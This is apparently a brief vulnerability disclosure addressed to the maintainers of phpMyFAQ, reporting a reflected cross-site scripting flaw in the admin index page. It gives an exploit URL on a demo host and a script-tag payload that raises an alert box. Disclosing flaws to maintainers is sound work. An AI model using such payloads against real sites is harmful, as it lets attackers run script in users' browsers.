Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites.
Go to your web phpmyfaq and visit below URL.
Exploit URL: https://roy.demo.phpmyfaq.de/admin/index.php?action=SEX"><ScRiPt>alert(133333337)</ScRiPt>
Payload USE: "><ScRiPt>alert(9699)</ScRiPt>
#YO Maintainer :) Long Time No SEE !